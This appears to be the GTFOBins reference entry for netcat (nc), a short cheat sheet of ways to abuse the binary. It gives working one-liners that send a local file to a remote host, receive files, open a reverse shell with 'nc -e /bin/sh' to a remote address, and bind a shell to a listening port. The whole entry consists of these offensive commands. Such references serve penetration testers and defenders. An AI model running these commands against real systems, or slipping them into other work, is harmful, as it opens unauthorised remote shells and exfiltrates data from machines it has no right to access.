GTFOBins.github.io/_gtfobins/nc.md
2018-05-23 08:08:13 +01:00

888 B

functions
upload download reverse-shell bind-shell
description code
Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end. RHOST=10.0.0.1 RPORT=12345 LFILE=file_to_send nc $RHOST $RPORT < "$LFILE"
description code
Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 12345 < "file_to_send"` to send the file from the other end. LPORT=12345 LFILE=where_to_save nc -l -p $LPORT > "$LFILE"
description code
Run `nc -l -p 12345` to receive the shell on the other end. RHOST=10.0.0.1 RPORT=12345 nc -e /bin/sh $RHOST $RPORT
description code
Run `nc 10.0.0.1 12345` to connect to the shell on the other end. LPORT=12345 nc -l -p $LPORT -e /bin/sh